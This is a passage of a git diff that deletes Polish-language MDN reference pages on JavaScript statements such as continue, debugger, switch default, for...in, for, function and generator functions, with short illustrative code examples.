-    if ((j % 2) == 0)
-      continue checkj;
-    console.log('Liczba' + j + ' jest nieparzysta.');
-  }
-  console.log('i = ' + i);
-  console.log('j = ' + j);
-}
-
- -

Wyjście:

- -
i: 0
-
-// początek checkj
-j: 8
-Liczba 7 jest nieparzysta.
-j: 7
-j: 6
-Liczba 5 jest nieparzysta.
-j: 5
-// koniec checkj
-
-i = 1
-j = 4
-
-i: 1
-i = 2
-j = 4
-
-i: 2
-i = 3
-j = 4
-
-i: 3
-i = 4
-j = 4
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusUwagi
{{SpecName('ES1')}}{{Spec2('ES1')}}Wstępna definicja. Wersja bez etykiety.
{{SpecName('ES3')}}{{Spec2('ES3')}}Dodano wersję z etykietą.
{{SpecName('ES5.1', '#sec-12.7', 'Continue statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-continue-statement', 'Continue statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-continue-statement', 'Continue statement')}}{{Spec2('ESDraft')}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.statements.continue")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/polecenia/debugger/index.html b/files/pl/web/javascript/referencje/polecenia/debugger/index.html deleted file mode 100644 index b4fe9548a7..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/debugger/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: debugger -slug: Web/JavaScript/Referencje/Polecenia/debugger -translation_of: Web/JavaScript/Reference/Statements/debugger ---- -
{{jsSidebar("Statements")}}
- -
Wyrażenie  debugger uruchamia dowolną dostępną funkcjonalność umożliwiającą debuggowanie, przykładowo poprzez ustawienie breakpointa w miejscu użycia wyrażenia. Jeżeli żadna tego typu funkcjonalność nie jest dostępna, użycie wyrażenia nie ma wpływu na działanie programu.
- -
-

Składnia

-
- -
debugger;
- -

Przykłady

- -

Poniższy przykład pokazuje użycie wyrażenia debugger w celu uruchomienia debuggera w momencie wywołania funkcji (jeżeli jest dostępny).

- -
function potentiallyBuggyCode() {
-    debugger;
-    // przeprowadź analizę działania programu zawierających bugi, przejdź do kolejnych wywołań, itp.
-}
- -

Kiedy następuje wywołanie instrukcji debugger, uruchomienie programu zatrzymywane jest na wyrażeniu debugger. Działa to tak jak ustawienie breakpointu w kodzie źródłowym skryptu.

- -

Paused at a debugger statement.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}{{Spec2('ES5.1')}}Wstępna definicja
{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}{{Spec2('ES1')}}Jedynie wspomniane jako zarezerwowane słowo kluczowe
- -


- {{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
CechaChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Podstawowe wsparcia{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
CechaAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Podstawowe wsparcie{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/polecenia/default/index.html b/files/pl/web/javascript/referencje/polecenia/default/index.html deleted file mode 100644 index 39641836b8..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/default/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: default -slug: Web/JavaScript/Referencje/Polecenia/default -tags: - - JavaScript - - słowo kluczowe -translation_of: Web/JavaScript/Reference/Statements/switch -translation_of_original: Web/JavaScript/Reference/Statements/default ---- -
{{jsSidebar("Statements")}}
- -

Słowo kluczowe default  może być użyte w języku JavaScript w dwóch sytuacjach: w instrukcji {{jsxref("Statements/switch", "switch")}} lub instrukcji {{jsxref("Statements/export", "export")}}.

- -
{{EmbedInteractiveExample("pages/js/statement-default.html")}}
- - - -

Składnia

- -

W instrukcji {{jsxref("Statements/switch", "switch")}}:

- -
switch (wyrażenie) {
-  case wartość1:
-    //Instrukcje wykonywane kiedy wartość1 zgadza się z wartością wyrażenia
-    [break;]
-  default:
-    //Instrukcje wykonywane kiedy żadna z wartości nie zgadza się z wartością wyrażenia
-    [break;]
-}
- -

Z instrukcją {{jsxref("Statements/export", "export")}}:

- -
export default nazwaN 
- -

Opis

- -

Po więcej szczegółów zobacz strony instrukcji

- - - -

Przykłady

- -

Użycie default w instrukcji switch

- -

W poniższym przykładzie, jeśli expr przyjmie wartość "Pomarańcze" lub "Jabłka", program dopasuje tę wartość odpowiednio do przypadków (case) "Pomarańcze" i "Jabłka" oraz wykona odpowiednie instrukcje. Słowo kluczowe default zostanie użyte w każdym innym przypadku i pozwoli na wykonanie odpowiedających mu instrukcji.

- -
switch (expr) {
-  case 'Pomarańcze':
-    console.log('Pomarańcze kosztują 3.29 zł za kilogram.');
-    break;
-  case 'Jabłka':
-    console.log('Jabłka kosztują 1.59 zł za kilogram.');
-    break;
-  default:
-    console.log('Przepraszamy, ' + expr + ' niestety się skończyły.');
-}
- -

Użycie default z export

- -

Jeśli chcesz wyeksportować pojednynczą wartość lub potrzebujesz tzw. fallback value dla modułu, może szostać zastosowany domyślny eksport (default export)

- -
// module "my-module.js"
-let cube = function cube(x) {
-  return x * x * x;
-};
-export default cube;
- -

Wtedy, w innym skrypcie, domyślnie wyeksportowana wartość będzie bezpośrednio zaimportowana:

- -
// module "another-module.js"
-import cube from 'my-module';  //"default export" pozwala na napisanie "import cube", zamiast "import cube from 'my-module'"
-console.log(cube(3)); // 27
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}{{Spec2('ES6')}} 
{{SpecName('ES6', '#sec-exports', 'Exports')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ESDraft', '#sec-exports', 'Exports')}}{{Spec2('ESDraft')}} 
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.statements.default")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/polecenia/do...while/index.html b/files/pl/web/javascript/referencje/polecenia/do...while/index.html deleted file mode 100644 index a57caf17ee..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/do...while/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: do...while -slug: Web/JavaScript/Referencje/Polecenia/do...while -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/do...while ---- -

-

-

Podsumowanie

-

Wykonuje zadane polecenia dopóki warunek jest spełniony. Polecenia wykonywane są przynajmniej raz. -

- - - - - - - - - - - - -
Polecenie
Zaimplementowane w:JavaScript 1.2, NES 3.0
Wersja ECMA:ECMA-262, Edycja 3 -
-

Składnia

-
do
-   polecenia
-while (warunek);
-
-

Parametry

-
polecenia 
Blok poleceń, który jest wykonywany przynajmniej raz. i jest wykonywany ponownie tak długo, jak warunek jest spełniony. -
-
warunek 
Obliczany przy każdym przejściu pętli. Jeśli warunek ma wartość prawda, polecenia w bloku go poprzedzającym są wykonywane ponownie. Kiedy warunek osiągnie wartość fałsz, sterowanie przepływa do następnego polecenia po pętli do...while -
-

Przykłady

-

Przykład: Zastosowanie do...while

-

W poniższym przykładzie pętla do...while wykonywana jest przynajmniej raz, a następnie jej wykonywanie jest powtarzane tak długo, aż i będzie większe lub równe 5. -

-
do {
-   i+=1;
-   document.write(i);
-} while (i<5);
-
-


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/do...while", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/do...while", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/do...while", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/do...while" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/empty/index.html b/files/pl/web/javascript/referencje/polecenia/empty/index.html deleted file mode 100644 index 4c55c3f4dd..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/empty/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: empty -slug: Web/JavaScript/Referencje/Polecenia/Empty -tags: - - JavaScript - - funkcja języka - - wyrażenie -translation_of: Web/JavaScript/Reference/Statements/Empty ---- -
{{jsSidebar("Statements")}}
- -

Puste wyrażenie jest używane do podania braku wyrażenia tam, gdzie składnia JavaScript wymaga jakiejkolwiek instrukcji.

- -
{{EmbedInteractiveExample("pages/js/statement-empty.html")}}
- - - -

Składnia

- -
;
-
- -

Opis

- -

Puste wyrażenie jest zapisywane jako średnik, wskazujący na to, że żadna instrukcja nie będzie wykonana, nawet jeśli składnia JavaScript wymaga jakiejkolwiek operacji.

- -

Przeciwna zachowanie, kiedy potrzebne jest użycie kilku wyrażeń tam, gdzie JavaScript pozwala tylko na jedno, jest możliwe dzięki blokom instrukcji, które łączą kilka wyrażeń w jedno.

- -

Przykłady

- -

Pusta pętla

- -

Puste wyrażenie jest czasem używane w pętlach. Poniższy przykład prrzedstawia ciało pustej pętli:

- -
let arr = [1, 2, 3];
-
-// Nadaj wszystkim elementom tablicy wartość 0
-for (let i = 0; i < arr.length; arr[i++] = 0) /* puste wyrażenie */ ;
-
-console.log(arr);
-// [0, 0, 0]
-
- -

Nieumyślne użycie

- -

Dobrym pomysłem jest dodanie komentarza do umyślnego użycia pustego wyrażenia, ponieważ nieoczywistym może się okazać rozróżnienie takiej instrukcji od zwykłego średnika.

- -

W poniższym przykładzie użycie pustego wyrażenia prawdopodobnie nie jest umyślne:

- -
if (condition);       // Uwaga, ten "if" nic nie robi!
-   killTheUniverse()  // To polecenie będzie zawsze wykonane!!!
-
- -

W kolejnym przykładzie użyta jest instrukcja warunkowa {{jsxref("Statements/if...else", "if...else")}} bez nawiasów klamrowych ({}).

- -

Jeśli wartość zmiennej trzy jest równa true, nic się nie stanie, zmienna cztery nie ma znaczenia, również funkcja odpalRakietę w przypadku else nie będzie wykonana.

- -
if (jeden)
-  wykonajJeden();
-else if (dwa)
-  wykonajDwa();
-else if (trzy)
-  ; // puste wyrażenie
-else if (cztery)
-  wykonajCztery();
-else
-  odpalRakietę();
- -

Specyfikacje

- - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.statements.empty")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/polecenia/etykieta/index.html b/files/pl/web/javascript/referencje/polecenia/etykieta/index.html deleted file mode 100644 index 7ff42b3940..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/etykieta/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: etykieta -slug: Web/JavaScript/Referencje/Polecenia/etykieta -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/label ---- -

-

-

Podsumowanie

-

Pozwala na oznaczenie punktu w kodzie, do którego będzie można przejść za pomocą poleceń break lub continue. -

Przykładowo, można zastosować etykietę do oznaczenia pętli, a następnie użyć poleceń break lub continue, by zaznaczyć, czy program powinien przerwać pętlę czy kontynuować jej wykonywanie. -

- - - - - - - - - - - - -
Polecenie
Zaimplementowane w:JavaScript 1.2, NES 3.0
Wersja ECMA:ECMA-262, Edycja 3
-

Składnia

-
etykieta :
-   polecenie
-
-

Parametry

-
etykieta 
Dowolny identyfikator języka JavaScript, który nie jest słowem zarezerwowanym. -
-
polecenie 
Polecenia. Polecenie break może być użyte z dowolnym poleceniem oznaczonym etykietą, a continue można użyć z zapętlonymi poleceniami oznaczonymi etykietami. -
-

Przykłady

-

Przykład użycia etykiety z poleceniem break -znajduje się w rodziale break. Przykład użycia etykiety z poleceniem continue znajduje się w rozdziale continue. -

-

Zobacz także

-

break, -continue -


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/label", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/label", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/label", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/label" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/export/index.html b/files/pl/web/javascript/referencje/polecenia/export/index.html deleted file mode 100644 index 3b29f1987b..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/export/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: export -slug: Web/JavaScript/Referencje/Polecenia/export -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/export ---- -

-

-

Podsumowanie

-

Pozwala podpisanemu skryptowi na dostarczanie własności, funkcji i obiektów do innych podpisanych lub niepodpisanych skryptów. Tej opcji nie ma w 3 edycji ECMA-262. -

- - - - - - - - -
Instrukcja
Zaimplementowana w:JavaScript 1.2, NES 3.0
-

Składnia

-

-export nazwa1, nazwa2, ..., nazwaN; - -

-export *; - -

-

Parametry

-
nazwaN 
Własność, funkcja, lub obiekt do wyeksportowania. -
-

Opis

-

Zazwyczaj informacja w podpisanym skrypcie jest dostępna tylko dla skryptów podpisanych przez tych samych wykonawców. Poprzez wyeksportowanie własności, funkcji i obiektów podpisany skrypt udostępnia tę informację dla każdego skryptu (podpisanego lub niepodpisanego). Skrypt otrzymujący używa instrukcji import, by uzyskać dostęp do tej informacji. -

Pierwsza składnia eksportuje określone własności, funkcje i obiekty. -

Druga składnia eksportuje wszystkie własności, funkcje i obiekty ze skryptu. -

-

Zobacz także

-

import -


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/export", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/export", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/export" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/for...in/index.html b/files/pl/web/javascript/referencje/polecenia/for...in/index.html deleted file mode 100644 index d8c17d3b3e..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/for...in/index.html +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: for...in -slug: Web/JavaScript/Referencje/Polecenia/for...in -tags: - - JavaScript - - wyrażenie -translation_of: Web/JavaScript/Reference/Statements/for...in ---- -
{{jsSidebar("Statements")}}
- -

Wyrażenie for...in iteruje po nazwach wszystkich wyliczalnych własnościach obiektu, włączając w to odziedziczone wyliczalne właściwości. for...in pomija te właściwości, które są indeksowane Symbolami.

- -
{{EmbedInteractiveExample("pages/js/statement-forin.html")}}
- - - -

Składnia

- -
for (zmienna in obiekt)
-  polecenie
- -
-
zmienna
-
W każdej iteracji, zmiennej przypisywana jest inna nazwa własności.
-
obiekt
-
Obiekt, po którego niesymbolicznych wyliczalnych własnościach iterujemy.
-
- -

Opis

- -

for...in iteruje jedynie po wyliczalnych i jednocześnie niesymbolicznych właściwościach. Obiekty utworzone za pomocą wbudowanych konstruktorów (np. Array czy Object) dziedziczą niewyliczalne właściwości z m.in. Object.protoype oraz String.prototype, takie jak metoda {{jsxref("String.indexOf", "indexOf()")}} ze {{jsxref("String")}} albo {{jsxref("Object.toString", "toString()")}} z {{jsxref("Object")}}. Pętla przejdzie przez wszystkie wyliczalne właściwości – zarówno własne, jak i odziedziczone z prototypu konstruktora.

- -

Usunięte, dodane lub zmodyfikowane własności

- -

Pętla for...in iteruje po właściwościach w arbitralnej kolejności (zobacz więcej w opisie operatora {{jsxref("Operators/delete", "delete")}}, dlaczego nie można liczyć na konkretną kolejność właściwości – szczególnie w różnych przeglądarkach).

- -

Jeśli właściwość zostanie zmodyfikowana w danej iteracji, a dopiero następnie odwiedzona przez for...in, przyjmuje tę późniejszą wartość. Usunięcie właściwości przed jej odwiedzeniem przez pętlę, spowoduje, że nie wystąpi w żadnej z późniejszych iteracji. Natomiast właściwość dodana do obiektu w trakcie iterowania może (ale nie musi) zostać odwiedzona przez pętlę.

- -

Ogólnie, w trakcie iterowania z użyciem for...in najlepiej jest nie modyfikować innych właściwości obiektu niż ta, która jest aktualnie odwiedzona. Nie ma żadnej gwarancji, że dodana właściwość zostanie odwiedzona, ani że właściwość usuwana zostanie odwiedzona przed skasowaniem. Podobnie, nie ma gwarancji, czy właściwość zmodyfikowana zostanie odwiedzona przed, czy po modyfikacji.

- -

Iterowanie po tablicy i for...in

- -
-

Uwaga: wyrażenie for...in nie powinno być używane na obiektach klasy{{jsxref("Array")}}, gdzie kolejność elementów jest ważna.

-
- -

Indeksy tablic są niczym innym jak właściwościami obiektu – z tym, że ich nazwy są liczbowe, a nie słowne. Dlatego nie ma gwarancji, że for...in odwiedzi je w jakiejkolwiek konkretnej kolejności. Ponadto, pętla zwróci także nieliczbowe właściwości oraz te odziedziczone.

- -

Kiedy kolejność odwiedzania elementów ma znaczenie, iterowanie po elementach tablicy powinno odbywać się z użyciem pętli {{jsxref("Statements/for", "for")}} (albo {{jsxref("Array.prototype.forEach()")}} albo pętli {{jsxref("Statements/for...of", "for...of")}}), ze względu na to, że kolejność iterowania po właściwościach jest zależna od implementacji.

- -

Iterowanie jedynie po własnych właściwościach

- -

Jeżeli potrzebujesz iterować tylko po własnych właściwościach obiektu, użyj {{jsxref("Object.getOwnPropertyNames", "getOwnPropertyNames()")}}, albo sprawdzaj za każdym razem, czy właściwość jest właściwością własną za pomocą {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}({{jsxref("Object.prototype.propertyIsEnumerable", "propertyIsEnumerable()")}} również moży zostać użyte). Alternatywnie, jeśli jesteś pewien, że nie spowoduje to problemów w kodzie, możesz rozszerzyć wbudowane prototypy o metodę sprawdzającą, czy właściwość jest własna.

- -

Dlaczego używać for...in?

- -

Skoro pętla for...in została stworzona do iterowania po właściwościach obiektu i nie jest zalecana do pracy z tablicami, to jaki może bć z niej pożytek?

- -

Najbardziej praktyczna jest w sytuacjach związanych z debugowaniem, zapewniając łatwy sposób na sprawdzenie właściwości obiektu (wypisując je do konsoli lub gdziekolwiek indziej). Oprócz tego, są sytuacje, kiedy pary klucz-wartość są indeksowane innym typem niż liczba. Wtedy po takim "słowniku" można przeiterować za pomocą for...in.

- -

Przykłady

- -

Użycie for...in

- -

Pętla for...in poniżej iteruje po wszystkich wyliczalnych właściwościach obiektu obj i wypisuje je do konsoli.

- -
var obj = {a: 1, b: 2, c: 3};
-
-for (const prop in obj) {
-  console.log(`obj.${prop} = ${obj[prop]}`);
-}
-
-// Wyjście:
-// "obj.a = 1"
-// "obj.b = 2"
-// "obj.c = 3"
- -

Iterowanie po własnych właściwościach

- -

Następny przykład pokazuje użycie {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}, aby nie wyświetlać właściwości odziedziczonych przez ColoredTriangle.

- -
var triangle = {a: 1, b: 2, c: 3};
-
-function ColoredTriangle() {
-  this.color = 'red';
-}
-
-ColoredTriangle.prototype = triangle;
-
-var obj = new ColoredTriangle();
-
-for (const prop in obj) {
-  if (obj.hasOwnProperty(prop)) {
-    console.log(`obj.${prop} = ${obj[prop]}`);
-  }
-}
-
-// Wyjście:
-// "obj.color = red"
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-12.6.4', 'for...in statement')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}{{Spec2('ES1')}}Definicja początkowa.
- -

Zgodność z przeglądarkami

- - - -

{{Compat("javascript.statements.for_in")}}

- -

Zgodność: Wyrażenie incjalizujące w trybie ścisłym

- -

Przed Firefoksem 40, było możliwe używanie wyrażenia incjalizującego (i=0) w pętli for...in:

- -
var obj = {a: 1, b: 2, c: 3};
-for (var i = 0 in obj) {
-  console.log(obj[i]);
-}
-// 1
-// 2
-// 3
-
- -

To niestandardowe zachowanie jest ignorowane począwszy od wersji 40 i powoduje zgłoszenie błędu {{jsxref("SyntaxError")}} ("for-in loop head declarations may not have initializers") w trybie ścisłym ({{bug(748550)}} i {{bug(1164741)}}).

- -

Inne silniki, takie jak v8 (Chrome), Chakra (IE/Edge), i JSC (WebKit/Safari) również mogą przestać obsługiwać taką konstrukcję.

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/polecenia/for/index.html b/files/pl/web/javascript/referencje/polecenia/for/index.html deleted file mode 100644 index 1178c277ef..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/for/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: for -slug: Web/JavaScript/Referencje/Polecenia/for -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/for ---- -

-

-

Podsumowanie

-

Tworzy pętlę, która składa się z trzech opcjonalnych wyrażeń, załączonych w nawiasach i oddzielonych średnikami, po których występuje instrukcja wykonywana w pętli. -

- - - - - - - - - - - - -
Instrukcja
Zaimplementowana w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
-

Składnia

-
for ([wyrażenie-wstępne]; [warunek]; [wyrażenie-inkrementacji])
-   instrukcja
-
-

Parametry

-
wyrażenie-wstępne 
Wyrażenie (włącznie z wyrażeniami przypisania) lub deklaracja zmiennej. Zazwyczaj używane do zainicjalizowania zmiennej licznika. Wyrażenie to może opcjonalnie deklarować nowe zmienne za pomocą słowa kluczowego var. Zmienne te nie są lokalne dla pętli, inaczej mówiąc, mają one taki sam zasięg jak pętla for. -
-
warunek 
Wyrażenie sprawdzane podczas każdego przejścia przez pętlę. Jeśli warunek jest prawdziwy, wykonywana jest instrukcja. Sprawdzenie warunku jest opcjonalne. Jeśli zostanie pominięte, warunek jest zawsze uznawany jako prawdziwy.
-
wyrażenie-inkrementacji 
Ogólnie używane do aktualizacji lub inkrementacji wartości zmiennej licznika. -
-
instrukcja 
Instrukcja, wykonywana dopóki warunek oceniany jest jako prawdziwy. Aby wykonać większą ilość instrukcji wewnątrz pętli, użyj instrukcji block ({ ... }), aby pogrupować te instrukcje. -
-

Przykład

-

Przykład: Zastosowanie for

-

Następująca instrukcja for rozpoczyna się deklaracją zmiennej i oraz zainicjalizowaniem jej wartości początkowej 0. Instrukcja sprawdza kolejno czy wartość zmiennej i jest mniejsza od dziewięciu, wykonuje dwie następujące po sobie instrukcje oraz zwiększa o 1 wartość zmiennej i podczas każdego kolejnego przejścia przez pętlę. -

-
for (var i = 0; i < 9; i++) {
-   n += i;
-   myfunc(n);
-}
-
-

Zobacz także

-

while, -do...while -


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/for", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/for", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/for", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/for" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/function/index.html b/files/pl/web/javascript/referencje/polecenia/function/index.html deleted file mode 100644 index 6b9eba95dd..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/function/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: function -slug: Web/JavaScript/Referencje/Polecenia/function -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/function ---- -

-

-

Podsumowanie

-

Deklaruje funkcję z określonymi parametrami. -

Możesz również zdefiniować funkcję używając konstruktora Function oraz operator function (wyrażenie funkcji). -

- - - - - - - - - - - - -
Instrukcja
Zaimplementowana w:JavaScript 1.0, NES 2.0 -

JavaScript 1.5, NES 6.0: Dodano deklaracje funkcji warunkowych (rozszerzenie Netscape). -

-
Wersja ECMA:ECMA-262 -
-

Składnia

-
function nazwa([argument] [, argument] [..., argument]) {
-   instrukcje
-}
-
-

Parametry

-
nazwa 
Nazwa funkcji. -
-
argument 
Nazwa argumentu, który ma zostać przekazany do funkcji. Funkcja może posiadać do 255 argumentów. -
-
instrukcje 
Instrukcje, które stanowią ciało funkcji. -
-

Opis

-

Aby zwrócić wartość, funkcja musi zawierać instrukcję return określającą wartość, która ma zostać zwrócona. -

Funkcja utworzona za pomocą instrukcji function jest obiektem Function i posiada wszystkie własności, metody i zachowania obiektów Function. Zobacz Function, aby uzyskać szczegółowe informacje o funkcjach. -

Funkcja może zostać zadeklarowana również wewnątrz wyrażenia. W takim przypadku funkcja jest zazwyczaj anonimowa. Zobacz operator function, aby uzyskać więcej informacji o function (wyrażenie funkcji). -

Funkcje mogą być deklarowane warunkowo. To znaczy, definicja funkcji może zostać zagnieżdżona wewnątrz instrukcji if. Technicznie rzecz biorąc, takie deklaracje nie są właściwie deklaracjami funkcji; są one wyrażeniami funkcji. -

-

Przykłady

-

Przykład: Zastosowanie function

-

Poniższy kod deklaruje funkcję, która zwraca całkowitą kwotę sprzedaży, gdy podano liczbę sprzedanych produktów a, b i c. -

-
function calc_sales(units_a, units_b, units_c) {
-   return units_a*79 + units_b * 129 + units_c * 699;
-}
-
-

Zobacz także

-

Funkcje, -Function, -function operator -


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/function", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/function", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/function", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/function" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/function_star_/index.html b/files/pl/web/javascript/referencje/polecenia/function_star_/index.html deleted file mode 100644 index 5962e0c286..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/function_star_/index.html +++ /dev/null @@ -1,309 +0,0 @@ ---- -title: function* -slug: Web/JavaScript/Referencje/Polecenia/function* -translation_of: Web/JavaScript/Reference/Statements/function* ---- -
{{jsSidebar("Statements")}}
- -

Deklaracja function*  (Słowo kluczowe function przed gwiazdką) definiuje funkcję generatora, która zwraca obiekt {{jsxref("Obiekty/Generator","Generator")}}.

- -
-

Możesz także zdefinować funkcje generatora używając konstruktora {{jsxref("GeneratorFunction")}} oraz {{jsxref("Operators/function*", "function* expression")}}.

-
- -

Składnia

- -
function* name([param[, param[, ... param]]]) {
-   statements
-}
-
- -
-
name
-
Nazwa funkcji.
-
- -
-
param
-
Nazwa argumentu przekazywanego do funkcji. Funkcja może posiadać maksymalnie 255 argumentów.
-
- -
-
statements
-
Polecenia wypełniające ciało funkcji.
-
- -

Opis

- -

Generatory są specyficznym rodzajem funkcji, która może być zatrzymywana i wznawiana. Pomiędzy kolejnymi wznowieniami zachowany jest kontekst (variable bindings).

- -

Wywołanie funkcji generatora nie wykonuje poleceń w niej zawartych od razu; Zamiast tego, zwracany jest obiekt iteratora. Dopiero kiedy na iteratorze wywoływana jest metoda next() wykonywane jest ciało funkcji, do momentu wystąpienia pierwszego wyrażenia {{jsxref("Operators/yield", "yield")}}. {{jsxref("Operators/yield", "yield")}} Określa jaka wartość zostanie zwrócona z generatora lub, jeśli użyto {{jsxref("Operators/yield*", "yield*")}}, wskazuje na kolejny do wywołania generator. Metoda next() zwraca obiekt z właściwością value zawierającą zwróconą przez {{jsxref("Operators/yield", "yield")}} wartość oraz właściowść done , która wskazuje czy generator zwórcił już wartość ostatniego {{jsxref("Operators/yield", "yield")}}. Wywołanie metody next() z argumentem, będzie wznawiało wykonywanie generatora za miejscem gdzie występował {{jsxref("Operators/yield", "yield")}} wstrzymujący generator.

- -

Przykłady

- -

Prosty przykład

- -
function* idMaker() {
-  var index = 0;
-  while (index < 3)
-    yield index++;
-}
-
-var gen = idMaker();
-
-console.log(gen.next().value); // 0
-console.log(gen.next().value); // 1
-console.log(gen.next().value); // 2
-console.log(gen.next().value); // undefined
-// ...
- -

Przykład z yield*

- -
function* anotherGenerator(i) {
-  yield i + 1;
-  yield i + 2;
-  yield i + 3;
-}
-
-function* generator(i) {
-  yield i;
-  yield* anotherGenerator(i);
-  yield i + 10;
-}
-
-var gen = generator(10);
-
-console.log(gen.next().value); // 10
-console.log(gen.next().value); // 11
-console.log(gen.next().value); // 12
-console.log(gen.next().value); // 13
-console.log(gen.next().value); // 20
-
- -

Przekazywanie parametrów do generatora

- -
function* logGenerator() {
-  console.log(yield);
-  console.log(yield);
-  console.log(yield);
-}
-
-var gen = logGenerator();
-
-// the first call of next executes from the start of the function
-// until the first yield statement
-gen.next();
-gen.next('pretzel'); // pretzel
-gen.next('california'); // california
-gen.next('mayonnaise'); // mayonnaise
-
- -

Wyrażenie return wewnątrz generatora

- -
